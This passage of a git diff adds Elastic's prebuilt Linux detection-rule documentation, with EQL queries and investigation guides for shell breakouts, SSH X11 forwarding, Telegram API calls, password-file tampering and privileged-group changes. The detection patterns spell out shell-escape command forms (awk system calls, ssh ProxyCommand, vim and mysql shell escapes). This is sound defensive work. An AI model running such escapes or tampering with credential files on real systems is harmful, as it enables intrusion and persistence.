https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + +Session View uses process data collected by the Elastic Defend integration, but this data is not always collected by default. Session View is available on enterprise subscription for versions 8.3 and above. + +*To confirm that Session View data is enabled:* + +- Go to “Manage → Policies”, and edit one or more of your Elastic Defend integration policies. +- Select the” Policy settings” tab, then scroll down to the “Linux event collection” section near the bottom. +- Check the box for “Process events”, and turn on the “Include session data” toggle. +- If you want to include file and network alerts in Session View, check the boxes for “Network and File events”. +- If you want to enable terminal output capture, turn on the “Capture terminal output” toggle. +For more information about the additional fields collected when this setting is enabled and the usage of Session View for Analysis refer to the https://www.elastic.co/guide/en/security/current/session-view.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and process.executable != null and +( + /* launching shell from capsh */ + (process.name == "capsh" and process.args == "--" and not process.parent.executable == "/usr/bin/log4j-cve-2021-44228-hotpatch") or + + /* launching shells from unusual parents or parent+arg combos */ + (process.name in ("bash", "dash", "ash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and ( + (process.parent.name : "*awk" and process.parent.args : "BEGIN {system(*)}") or + (process.parent.name == "git" and process.parent.args : ("!*sh", "exec *sh") and not process.name == "ssh" ) or + (process.parent.name : ("byebug", "ftp", "strace", "zip", "tar") and + ( + process.parent.args : "BEGIN {system(*)}" or + ( + (process.parent.args : "exec=*sh" or (process.parent.args : "-I" and process.parent.args : "*sh")) or + (process.args : "exec=*sh" or (process.args : "-I" and process.args : "*sh")) + ) + ) + ) or + + /* shells specified in parent args */ + /* nice rule is broken in 8.2 */ + (process.parent.args : "*sh" and + ( + (process.parent.name == "nice") or + (process.parent.name == "cpulimit" and process.parent.args == "-f") or + (process.parent.name == "find" and process.parent.args == "." and process.parent.args == "-exec" and + process.parent.args == ";" and process.parent.args : "/bin/*sh") or + (process.parent.name == "flock" and process.parent.args == "-u" and process.parent.args == "/") + ) + ) + )) or + + /* shells specified in args */ + (process.args : "*sh" and ( + (process.parent.name == "crash" and process.parent.args == "-h") or + (process.name == "sensible-pager" and process.parent.name in ("apt", "apt-get") and process.parent.args == "changelog") + /* scope to include more sensible-pager invoked shells with different parent process to reduce noise and remove false positives */ + + )) or + (process.name == "busybox" and event.action == "exec" and process.args_count == 2 and process.args : "*sh" and not + process.executable : "/var/lib/docker/overlay2/*/merged/bin/busybox" and not (process.parent.args == "init" and + process.parent.args == "runc") and not process.parent.args in ("ls-remote", "push", "fetch") and not process.parent.name == "mkinitramfs" and + not process.parent.executable == "/bin/busybox") or + (process.name == "env" and process.args_count == 2 and process.args : "*sh") or + (process.parent.name in ("vi", "vim") and process.parent.args == "-c" and process.parent.args : ":!*sh") or + (process.parent.name in ("c89", "c99", "gcc") and process.parent.args : "*sh,-s" and process.parent.args == "-wrapper") or + (process.parent.name == "expect" and process.parent.args == "-c" and process.parent.args : "spawn *sh;interact") or + (process.parent.name == "mysql" and process.parent.args == "-e" and process.parent.args : "\\!*sh") or + (process.parent.name == "ssh" and process.parent.args == "-o" and process.parent.args : "ProxyCommand=;*sh 0<&2 1>&2") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indirect Command Execution +** ID: T1202 +** Reference URL: https://attack.mitre.org/techniques/T1202/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-linux-ssh-x11-forwarding.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-linux-ssh-x11-forwarding.asciidoc new file mode 100644 index 0000000000..e4d73c5289 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-linux-ssh-x11-forwarding.asciidoc @@ -0,0 +1,157 @@ +[[prebuilt-rule-8-19-20-linux-ssh-x11-forwarding]] +=== Linux SSH X11 Forwarding + +This rule monitors for X11 forwarding via SSH. X11 forwarding is a feature that allows users to run graphical applications on a remote server and display the application's graphical user interface on their local machine. Attackers can abuse X11 forwarding for tunneling their GUI-based tools, pivot through compromised systems, and create covert communication channels, enabling lateral movement and facilitating remote control of systems within a network. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://book.hacktricks.xyz/generic-methodologies-and-resources/tunneling-and-port-forwarding + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Command and Control +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Linux SSH X11 Forwarding* + + +Attackers can leverage SSH X11 forwarding to capture a user's graphical desktop session and potentially execute unauthorized GUI applications remotely. + +This rule looks for the execution of SSH in conjunction with command line arguments that are capable of setting up X11 forwarding. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. +> This investigation guide uses https://www.elastic.co/guide/en/security/current/osquery-placeholder-fields.html[placeholder fields] to dynamically pass alert data into Osquery queries. Placeholder fields were introduced in Elastic Stack version 8.7.0. If you're using Elastic Stack version 8.6.0 or earlier, you'll need to manually adjust this investigation guide's queries to ensure they properly run. + + +*Possible investigation steps* + + +- Identify any signs of suspicious network activity or anomalies that may indicate network forwarding activity. This could include unexpected traffic patterns or unusual network behavior. + - Investigate listening ports and open sockets to look for potential protocol tunneling, reverse shells, or data exfiltration. + - !{osquery{"label":"Osquery - Retrieve Listening Ports","query":"SELECT pid, address, port, socket, protocol, path FROM listening_ports"}} + - !{osquery{"label":"Osquery - Retrieve Open Sockets","query":"SELECT pid, family, remote_address, remote_port, socket, state FROM process_open_sockets"}} +- Identify the user account that performed the action, analyze it, and check whether it should perform this kind of action. + - !{osquery{"label":"Osquery - Retrieve Information for a Specific User","query":"SELECT * FROM users WHERE username = {{user.name}}"}} +- Investigate whether the user is currently logged in and active. + - !{osquery{"label":"Osquery - Investigate the Account Authentication Status","query":"SELECT * FROM logged_in_users WHERE user = {{user.name}}"}} +- Investigate the script execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence and whether they are located in expected locations. + - !{osquery{"label":"Osquery - Retrieve Running Processes by User","query":"SELECT pid, username, name FROM processes p JOIN users u ON u.uid = p.uid ORDER BY username"}} + - !{osquery{"label":"Osquery - Retrieve Process Info","query":"SELECT name, cmdline, parent, path, uid FROM processes"}} +- Investigate other alerts associated with the user/host during the past 48 hours. + - If scripts or executables were dropped, retrieve the files and determine if they are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - Check if the domain is newly registered or unexpected. + - Check the reputation of the domain or IP address. + - File access, modification, and creation activities. + + +*Related rules* + + +- Potential Linux Tunneling and/or Port Forwarding - 6ee947e9-de7e-4281-a55d-09289bdf947e + + +*False positive analysis* + + +- If this activity is related to new benign software installation activity, consider adding exceptions — preferably with a combination of user and command line conditions. +- If this activity is related to a system administrator or developer who uses port tunneling/forwarding for benign purposes, consider adding exceptions for specific user accounts or hosts. +- Try to understand the context of the execution by thinking about the user, machine, or business purpose. A small number of endpoints, such as servers with unique software, might appear unusual but satisfy a specific business need. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors, such as reverse shells, reverse proxies, or droppers, that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Leverage the incident response data and logging to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "exec_event", "start", "ProcessRollup2") and +process.name in ("ssh", "sshd") and process.args in ("-X", "-Y") and process.args_count >= 3 and +process.parent.name in ("bash", "dash", "ash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Protocol Tunneling +** ID: T1572 +** Reference URL: https://attack.mitre.org/techniques/T1572/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SSH +** ID: T1021.004 +** Reference URL: https://attack.mitre.org/techniques/T1021/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-linux-telegram-api-request.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-linux-telegram-api-request.asciidoc new file mode 100644 index 0000000000..7a453ec41d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-linux-telegram-api-request.asciidoc @@ -0,0 +1,179 @@ +[[prebuilt-rule-8-19-20-linux-telegram-api-request]] +=== Linux Telegram API Request + +This rule detects when a process executes the curl or wget command with an argument that includes the api.telegram.org domain. This may indicate command and control behavior. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* +* auditbeat-* +* logs-auditd_manager.auditd-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Command and Control +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Data Source: Auditd Manager +* Resources: Investigation Guide + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Linux Telegram API Request* + + +Telegram's API allows applications to interact with its messaging platform, often used for legitimate automation and communication tasks. However, adversaries may exploit this by using commands like `curl` or `wget` to communicate with Telegram's API for command and control purposes. The detection rule identifies such suspicious activity by monitoring for these commands accessing the Telegram API, indicating potential misuse. + + +*Possible investigation steps* + + +- Review the process details to confirm the execution of the curl or wget command with the api.telegram.org domain in the command line, as indicated by the process.command_line field. +- Investigate the user account associated with the process to determine if the activity aligns with expected behavior or if the account may be compromised. +- Check the network activity logs to identify any additional connections to api.telegram.org or other suspicious domains, which may indicate further command and control communication. +- Analyze the parent process of the detected curl or wget command to understand how the process was initiated and if it was triggered by another suspicious activity. +- Examine the system for any other indicators of compromise, such as unusual file modifications or additional unauthorized processes, to assess the scope of potential malicious activity. + + +*False positive analysis* + + +- Legitimate automation scripts or applications may use curl or wget to interact with Telegram's API for non-malicious purposes. Review the context and purpose of these scripts to determine if they are authorized. +- System administrators or developers might use curl or wget for testing or maintenance tasks involving Telegram's API. Verify if these activities are part of routine operations and consider excluding them if they are deemed safe. +- Monitoring tools or integrations that rely on Telegram for notifications could trigger this rule. Identify these tools and add exceptions for their known processes to prevent unnecessary alerts. +- If a specific user or service account frequently triggers this rule due to legitimate use, consider creating an exception for that account to reduce noise while maintaining security oversight. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further communication with the Telegram API and potential data exfiltration. +- Terminate any suspicious processes identified as using curl or wget to interact with api.telegram.org to halt ongoing malicious activities. +- Conduct a thorough review of the affected system's process logs and network connections to identify any additional indicators of compromise or related malicious activity. +- Remove any unauthorized scripts or binaries that may have been used to automate the interaction with the Telegram API. +- Reset credentials and review access permissions for any accounts that were active on the affected system to prevent unauthorized access. +- Update and patch the affected system to the latest security standards to mitigate vulnerabilities that could be exploited in similar attacks. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + +Elastic Defend integration does not collect environment variable logging by default. +In order to capture this behavior, this rule requires a specific configuration option set within the advanced settings of the Elastic Defend integration. + #### To set up environment variable capture for an Elastic Agent policy: +- Go to “Security → Manage → Policies”. +- Select an “Elastic Agent policy”. +- Click “Show advanced settings”. +- Scroll down or search for “linux.advanced.capture_env_vars”. +- Enter the names of environment variables you want to capture, separated by commas. +- For this rule the linux.advanced.capture_env_vars variable should be set to "HTTP_PROXY,HTTPS_PROXY,ALL_PROXY". +- Click “Save”. +After saving the integration change, the Elastic Agents running this policy will be updated and the rule will function properly. +For more information on capturing environment variables refer to the https://www.elastic.co/guide/en/security/current/environment-variable-capture.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "start", "exec_event", "ProcessRollup2", "executed", "exec_event", "process_started") and +process.name in ("curl", "wget") and process.command_line like "*api.telegram.org*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: Web Protocols +** ID: T1071.001 +** Reference URL: https://attack.mitre.org/techniques/T1071/001/ +* Technique: +** Name: Web Service +** ID: T1102 +** Reference URL: https://attack.mitre.org/techniques/T1102/ +* Sub-technique: +** Name: Bidirectional Communication +** ID: T1102.002 +** Reference URL: https://attack.mitre.org/techniques/T1102/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-linux-user-account-credential-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-linux-user-account-credential-modification.asciidoc new file mode 100644 index 0000000000..fdb60bdc8f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-linux-user-account-credential-modification.asciidoc @@ -0,0 +1,157 @@ +[[prebuilt-rule-8-19-20-linux-user-account-credential-modification]] +=== Linux User Account Credential Modification + +This rule detects Linux user account credential modification events where the echo command is used to directly echo a password into the passwd or shadow utilities. This technique is used by malware to automate the process of user account credential modification on Linux systems post-infection. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Linux User Account Credential Modification* + + +In Linux environments, user account credentials are crucial for system access and management. Adversaries may exploit command-line utilities to modify credentials, often using scripts to automate this process post-infection. The detection rule identifies suspicious use of shell commands that echo passwords into the passwd utility, a technique indicative of unauthorized credential changes, by monitoring specific command patterns and excluding benign processes. + + +*Possible investigation steps* + + +- Review the process command line to confirm the presence of the suspicious pattern "*echo*passwd*" and assess if it aligns with known malicious activity. +- Identify the user account associated with the process to determine if it is a legitimate user or potentially compromised. +- Examine the parent process details, including the command line and executable path, to understand the context of how the suspicious process was initiated. +- Check for any recent changes to user accounts on the system, focusing on password modifications or new account creations around the time of the alert. +- Investigate the system for any additional signs of compromise, such as unexpected network connections or other suspicious processes running concurrently. +- Correlate the event with other security alerts or logs to identify if this activity is part of a broader attack pattern or campaign. + + +*False positive analysis* + + +- Automated build processes may trigger this rule if they use shell scripts that include echoing passwords for testing or configuration purposes. To handle this, exclude processes with parent command lines or executables related to build tools like make. +- System administration scripts that automate user account management might use similar command patterns. Review these scripts and exclude them by specifying their parent process or executable paths. +- Custom user scripts for password management could inadvertently match the rule's criteria. Identify these scripts and add exceptions based on their unique command line or parent process attributes. +- Some legitimate software installations might use echo and passwd in their setup scripts. Monitor installation logs and exclude known safe installation processes by their parent command line or executable. + + +*Response and remediation* + + +- Immediately isolate the affected Linux system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Terminate any suspicious processes identified by the detection rule, particularly those involving the echo command being used with the passwd utility. +- Change the passwords of any user accounts that may have been compromised, ensuring the use of strong, unique passwords. +- Review and audit recent user account changes and access logs to identify any unauthorized modifications or access attempts. +- Restore any affected user accounts to their previous state using backups or system snapshots, if available. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected. +- Implement additional monitoring and alerting for similar command patterns to enhance detection and prevent recurrence of this threat. + + +==== Setup + + + +*Setup* + +This rule requires data coming in from Elastic Defend. + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and +process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and +process.command_line like ( + "*echo*> /etc/passwd*", "*echo*>/etc/passwd*", + "*echo*> /etc/shadow*", "*echo*>/etc/shadow*" +) and +not ( + process.parent.command_line == "runc init" or + process.parent.executable in ("/usr/bin/make", "/bin/make") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-linux-user-added-to-privileged-group.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-linux-user-added-to-privileged-group.asciidoc new file mode 100644 index 0000000000..2ca0fe3224 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-linux-user-added-to-privileged-group.asciidoc @@ -0,0 +1,200 @@ +[[prebuilt-rule-8-19-20-linux-user-added-to-privileged-group]] +=== Linux User Added to Privileged Group + +Identifies attempts to add a user to a privileged group. Attackers may add users to a privileged group in order to establish persistence on a system. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/primer-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Auditd Manager +* Data Source: Crowdstrike +* Data Source: SentinelOne + +*Version*: 114 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Linux User Added to Privileged Group* + + +The `usermod`, `adduser`, and `gpasswd` commands can be used to assign user accounts to new groups in Linux-based operating systems. + +Attackers may add users to a privileged group in order to escalate privileges or establish persistence on a system or domain. + +This rule identifies the usages of `usermod`, `adduser` and `gpasswd` to assign user accounts to a privileged group. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. +> This investigation guide uses https://www.elastic.co/guide/en/security/current/osquery-placeholder-fields.html[placeholder fields] to dynamically pass alert data into Osquery queries. Placeholder fields were introduced in Elastic Stack version 8.7.0. If you're using Elastic Stack version 8.6.0 or earlier, you'll need to manually adjust this investigation guide's queries to ensure they properly run. + + +*Possible investigation steps* + + +- Investigate whether the user was succesfully added to the privileged group. + - !{osquery{"label":"Osquery - Retrieve Information for a Specific User","query":"SELECT * FROM users WHERE username = {{user.name}}"}} +- Investigate whether the user is currently logged in and active. + - !{osquery{"label":"Osquery - Investigate the Account Authentication Status","query":"SELECT * FROM logged_in_users WHERE user = {{user.name}}"}} +- Retrieve information about the privileged group to which the user was added. + - !{osquery{"label":"Osquery - Retrieve Information for a Specific Group","query":"SELECT * FROM groups WHERE groupname = {{group.name}}"}} +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence and whether they are located in expected locations. + - !{osquery{"label":"Osquery - Retrieve Running Processes by User","query":"SELECT pid, username, name FROM processes p JOIN users u ON u.uid = p.uid ORDER BY username"}} +- Identify the user account that performed the action and whether it should perform this kind of action. +- Investigate other alerts associated with the user/host during the past 48 hours. + + +*False positive analysis* + + +- Adding accounts to a group is a common administrative task, so there is a high chance of the activity being legitimate. Before investigating further, verify that this activity is not benign. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Review the privileges assigned to the involved users to ensure that the least privilege principle is being followed. +- Delete the account that seems to be involved in malicious activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and +process.executable != null and process.args in ( + "root", "admin", "wheel", "staff", "sudo","disk", "video", "shadow", "lxc", "lxd" +) and +( + process.name in ("usermod", "adduser") or + (process.name == "gpasswd" and process.args in ("-a", "--add", "-M", "--members")) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Local or Domain Groups +** ID: T1098.007 +** Reference URL: 